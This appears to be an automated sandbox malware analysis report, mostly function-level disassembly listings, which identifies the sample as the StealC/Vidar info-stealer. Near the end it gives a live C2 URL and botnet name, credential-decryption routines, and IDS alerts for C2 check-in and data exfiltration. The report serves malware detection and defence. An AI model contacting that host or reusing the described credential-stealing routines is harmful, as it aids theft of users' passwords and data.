memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

Infinity, xrefs: 6C669EB7
NaN, xrefs: 6C669EC1

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Source: 0.2.file.exe.280000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}
Source: 0.2.file.exe.280000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00289B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00289B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0028C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0028C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00287240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00287240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00289AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00289AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00298EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00298EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

Source: Malware configuration extractor	URLs: http://185.215.113.206/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 06:59:05 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 